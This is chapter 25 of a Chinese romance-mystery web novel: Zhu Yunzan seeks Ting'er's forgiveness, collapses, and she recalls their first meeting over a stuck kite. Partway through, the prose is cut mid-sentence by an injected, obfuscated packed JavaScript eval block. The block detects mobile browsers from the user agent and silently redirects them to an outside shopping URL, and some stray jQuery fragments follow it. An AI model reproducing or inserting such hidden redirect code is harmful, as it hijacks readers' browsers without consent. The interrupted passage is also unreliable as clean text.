25.请帖

作品:《争渡惊鸥鹭

    案子破获后的几天,衙门里就没有那么忙了,


    鸣玉趴在窗台,看着院子里正跳来跳去的喜鹊,


    小双正坐在桌前绣着绢帕,


    “小双,你说,我会不会很快就能正式成为衙门里的捕快啊,”


    “肯定会,”小双想也不想地开口道,


    鸣玉想着想着,嘿嘿地笑出了声,


    过了会儿,鸣玉直起身,两只胳膊撑在窗台,“不过县令大人经常把孟昭叫到书房里去,也不知道他们在搞些什么名堂,”


    小双摇摇头,“我也不知道哎,”


    院子里的喜鹊扑腾着翅膀飞走了,


    转过身,停了停,鸣玉晃了两下脑袋,“算啦,管他们呢,孟昭不像是一个会搞坏事的人,”


    “琛哥哥也不会搞的,”小双也认真地道,


    “对,”鸣玉颇为赞成地咂咂嘴巴,双手撑着窗台,一屁股坐了上去,晃着双腿,优哉游哉地享受着习习的清风。


    就在这时,院子里出现一阵嘈杂,


    注意到动静,鸣玉跟小双赶忙走出屋子,


    来到院子里一瞧,发现姜琛跟孟昭也从书房里走出来了。


    出人意料的是,这回来的又是祝家管家,不过他此次却是来下帖的,


    原来祝赟赞从牢里出去后,就一直在恳求婷儿的原谅,


    也正是这段时间,让祝赟赞听到了杂七杂八之人对婷儿的风言风语,


    这些言语就像一把把利刃,直直地插进祝赟赞心口……


    他终是醒悟,自己的软弱与任性,竟一连伤害了两个姑娘,


    想到这里,祝赟赞更是惭愧,


    因此,他挽起袖子,开始在杜家抢着干活,


    杜家人看到祝赟赞,是一肚子的气,婷儿听说祝赟赞已经从牢里出来了,便开始努力放下对他的一切情感,


    祝赟赞知道,之所以出现今天这种局面,全怪他自作自受,


    既然是诚心诚意地求婷儿原谅,所以杜家把他赶走一次,他就再登门一次,


    以至于最后,每每看到祝赟赞,杜家大哥跟杜家二哥便将其拖出去,重重地关上大门,


    祝赟赞擦擦鼻尖,似乎要抹掉上面的“灰尘”。


    杜家打铁,每日都要烧掉大量的柴火,


    祝赟赞即每天天不亮就起身准备柴火,


    等到杜家打开门时,便能看到一摞摞捆好的木柴,这些枯木上面还会开出一捧五颜六色的野花,


    而祝赟赞做完这一切后,就会悄悄离开,


    等到傍晚时他再过去,可等待他的却是没有任何变化的柴堆以及拉耸着“脑袋”的花朵,


    第二日,祝赟赞便准备好同样数目的柴火还有一捧更加鲜艳的花朵,


    几天过去,杜家的门口已经被柴火攻占了,


    这天傍晚,杜家借来了驴车,


    将柴火一捆捆装上去,一齐扔到了祝家门口……


    晚上,婷儿的房门被扣响了——是祝翻墙进来的祝赟赞,


    门开了,与彼此记忆里的样子相比,屋里屋外的人都消瘦了一大圈,


    “婷儿,”祝赟赞的声音哽咽着,“对不起,”


    “都过去了,”婷儿强忍着镇静,话音未落,便要关上房门,


    祝赟赞伸手,一声闷哼,两扇房门之间出现了一道合不上的缝隙,


    婷儿一惊,“你怎么?”


    祝赟赞全然不顾手指的疼痛,“我错了,我不该软弱,不该妥协,不该成为一个懦夫,”


    看着门缝里的指尖,婷儿将门打开了一拳宽的缝隙,“快回去包扎吧,”


    祝赟赞握住门板,“我不疼,婷儿,我知道我做了一件极其混账的混账事,我伤害了很多人,如今的下场,是我自作自受,可我现在仍想奢求你的一次原谅,婷儿,你能不能再给我一个机会?”


    门内一阵沉默,半晌后,“我原谅你了,你走吧,往后好好过日子。”


    祝赟赞喉结滚动,眼泪唰地砸在地上,“你陪我,你陪我好不好?”


    “我们的事已经过去了,往后还是各自安好吧,”婷儿吸吸鼻子,


    门外没有传来声音,片刻后,一声闷响,握着房门的手无力地垂了下去,


    婷儿瞳孔一缩,身体的反应快过大脑的思考,


    祝赟赞瘫倒在地上,红色的血迹仍挂在嘴角,


    婷儿将他扶起来,“你怎么了?”


    不见怀里的人有任何的应答,他只是紧闭双眼,眼圈早已被青黑色染透,


    而祝赟赞倒下去的声响,也惊动了杜家爹娘,


    “他怎么在这儿?”杜老爹皱眉,


    婷儿抬起头,眼里写满了慌乱,“爹,娘,你们帮我照看下祝公子,我这就去找大夫,”


    说着,婷儿轻轻地将祝赟赞放下,哽咽着起身,


    “不准去,”杜老爹一把拉住了婷儿的手臂,“去找你大哥二哥,让他们把祝赟赞抬回祝家,”


    杜家大哥跟杜家二哥成家后,便跟杜家爹娘分了家,三家住得不算远,但也不算近,


    婷儿回头,看看地上的祝赟赞,眼泪不自觉地就流了下来,“他不能有事,”


    “婷儿!他不值得,”杜母叹了口气,“他是祝家少爷,咱们高攀不起,”


    “这个混账小子是怎么负的你,你该不是都忘了?”杜老爹看到地上气息奄奄的祝赟赞,仍忍不住想抽他两巴掌,


    “前些天他被关进大牢,你就整日里魂不守舍的,你在县衙门口逛了几圈?被左邻右舍笑话了多久?最后听说这混小子在牢里不吃不喝,你还上赶着去送饼!我看你们这孽缘,早就该断了,”


    “对不起,爹,是我不争气,”婷儿声音颤抖着,


    “去找你大哥二哥吧,”杜老爹看到闺女这样,也是满满地心疼,


    婷儿泪流满面地点点头,


    但每走一步,祝赟赞毫无血色的面庞便在她的脑中放大一分,


    他会死吗?婷儿在心里不断地问自己,


    忽然,好像有一个声音从背后传来,


    “树上挂的是你的风筝啊?”


    婷儿迅速转身,可身后跟着她的只有茫茫夜色,


    出了巷子,婷儿到底选择了右拐,那是医馆的方向,


    过了许久,杜家爹娘不见自家老大和老二的身影,便已心知肚明,


    恨恨地看了祝赟赞一眼,最终还是将他抬进了柴房,


    大夫来了,看到祝赟赞苍白的脸色,紧忙替他诊了脉,扎了针,


    然直至大夫将银针全部拔下来,祝赟赞都没有任何的反应,


    “大夫,他怎么样?”婷儿终于还是忍不住出声道,


    大夫又给祝赟赞诊了诊脉,起身道:“这位公子的病是过度劳累加气急攻心所致,不过索幸诊治及时,现已无性命之忧,”


    听到没有性命之忧,婷儿紧紧绷起的神经总算是松懈了几分,


    “只是眼下公子需要多加休养,这柴房……”大夫顿了顿,“这柴房实在有所不适,”


    “真娇贵,”杜老爹瞥了地上的祝赟赞一眼,“呆在这屋里他会死吗?”


    大夫一惊,“那倒不会,”


    “不会就行,”杜老爹冷哼道,


    大夫无奈地摇摇头,收拾好医箱,“姑娘跟我回医馆抓些药吧,”


    婷儿点点头,“多谢大夫了,”


    药抓回来后,婷儿又仔细地熬好,


    杜老爹从婷儿手里拿过药碗,“我喂他,你回屋去吧,”


    婷儿望望祝赟赞,他胸腔起伏渐稳,


    “爹,娘,刚才,我,”婷儿吞吐道:“对不起,”


    杜父杜母双双叹了口气,


    “去歇着吧,”杜母摆摆手道,


    听到婷儿关门的声音,杜母看着杜老爹手里还在冒着热气的药碗,叹气道:“这傻孩子,”


    杜父一手端着药碗,一手扶起祝赟赞,动作粗暴地把药给他喂了下去,“等他醒了,快点把他打发走!”


    躺在床上,婷儿透过窗子,盯着月光下的树梢,似乎又回到了那个春光明媚的下午,


    那天,大哥家的小侄女青青抱着把风筝来找她,


    笑嘻嘻地拉着自己去踏青,


    小姑娘奶呼呼的,甜甜的嗓音让人丝毫没有招架之力,婷儿放下手里的针线,便领着她去了河边的空地,


    青青兴高采烈地放着风筝,风筝飞得高高的,小姑娘兴奋极了,时不时地跟婷儿炫耀一下自己的成果,


    春日里,处处柳绿花红,燕子叽叽喳喳地从头顶飞过,空气里弥漫着无边的香气,


    婷儿笑着摘了些野花,三两下便做成了一只花环,


    看到姑姑手里的花环,青青也来了兴致,拉着风筝跑了过来,


    婷儿将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404794|140415||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    花环戴到青青头上,衬得小姑娘更加俏皮可爱,


    一阵风吹过,风筝飞得更高了,青青顺着风的方向奔跑着,


    婷儿坐在草地上,托着下巴,看着在草地上奔跑的青青,


    跑着跑着,青青忽然停了下来,小小的身子向后仰着,


    婷儿见状,急忙起身走了过去,


    青青转过头,朝着身后的婷儿心急地喊道:“姑姑,风婆婆的劲儿好大,我拉不住了,”


    可还没等青青的话说完,风筝便断了线,


    婷儿奔过去,幸好来得及将青青扶进怀里,然风筝却随着风飘飘悠悠地飞走了。


    “我的风筝,”青青扁扁嘴巴,“飞走了,”


    此刻小姑娘的眼泪已经蓄势待发,


    “没事的,青青,”婷儿牵起青青的小手,“风筝飞累了就会下来休息的,咱们这就去前面找它,好不好?”


    “它会在前面等咱们吗?”青青看看手里仅剩的线圈,声音都染上了哭腔,


    “当然会,不过咱们得快点过去,要不然风筝会等着急的,”婷儿继续安慰着,


    小姑娘听到这话,急急忙忙拉起婷儿,撒开双腿迅速朝着风筝飞过的方向跑去,


    “风筝,风筝,你在哪里?青青来找你了,你快出来!你不出来青青就生气了,青青生气了就不把你当好朋友了,”青青在风筝掉下来的附近一边寻找一边呼喊,


    婷儿也在一旁仔细地寻找着。


    约莫有小半个时辰后,青青指着一颗柳树激动不已,


    “姑姑,你看,它在那里!”


    顺着青青的声音望去,果然,风筝正牢牢地卡在柳树的高枝上,没有一点点落下来的意思。


    “怎么办,够不着,”青青不知从哪里找了个小木棍,举在手里挥舞着,距离风筝似乎差了十万八千里,


    婷儿从青青手里取过木棍,俯下身子道:“再多去寻些木棍吧,咱们把它们接在一起,或许就能够到了,”


    “可我们没有绳子,”青青摇摇头,


    婷儿笑笑,指着一旁的草丛,“没关系,你看,这些草也是很结实的,”


    “真的吗?”青青有些不相信,


    婷儿揉揉她的小脑袋,“试试就知道啦。”


    就这样,一大一小两个人开始寻找起了木棍,


    木棍找的差不多了,婷儿就让青青去草丛里拔些又细又长的青草,


    自己则坐在地上,认认真真地把它们编在一起,


    编着编着,身后传来一道声音,


    “树上挂的是你的风筝啊?”


    婷儿转身,


    是一个提着鱼篓的男子,他的衣服上满是泥点子,发丝也被河水打湿了好几缕,


    然而,他的笑,却如同那日的春光一般,


    青青抱着新拔出的青草从草丛里钻了出来,一边跑一边兴奋地说着,“姑姑你看,我一口气又拔了这么多草!”


    婷儿将目光撤离,转向青青,“我们青青真厉害,”


    青青的目光被怀里青草遮住大半,等她把草放下后,才注意到姑姑身后的男子,歪歪脑袋好奇道:


    “咦,大哥哥,你是谁呀?”


    “我是全青溪县最会爬树的人呀,”祝赟赞笑嘻嘻地开口道,


    “最会爬树?”青青上下打量着眼前的男子,“大哥哥你不会是在吹牛吧,”


    祝赟赞将鱼篓往地上一扔,大踏步地走到柳树下,朝青青做了个鬼脸,“等我把风筝取下来你就知道了,”


    只见他拍拍树干,挽起衣袖,作势便要往上爬,


    “等一下,公子,”婷儿手里握着草辫道:“我们把这些木棍接起来就好,不必劳烦您了,”


    祝赟赞咧着嘴角,“不麻烦不麻烦,眨眨眼的功夫我就能把它取下来啦,再说,今天我倒要让这位小小姑娘看看,我究竟是不是在吹牛!”


    说完,祝赟赞便抱着树干三下五除二地爬了上去,


    他说的没错,


    真的只是眨眼的功夫,祝赟赞就将风筝从树杈上取了下来,


    他一手攀着树干,一手攥着风筝,得意地炫耀着自己的身手,


    可就在这时,祝赟赞的身形突然开始摇晃起来,


    婷儿一惊,出声关切道:“公子,小心呐,”


    祝赟赞稳住身形,咯咯笑了起来,“要是我掉下去了,姑娘可接得住我?”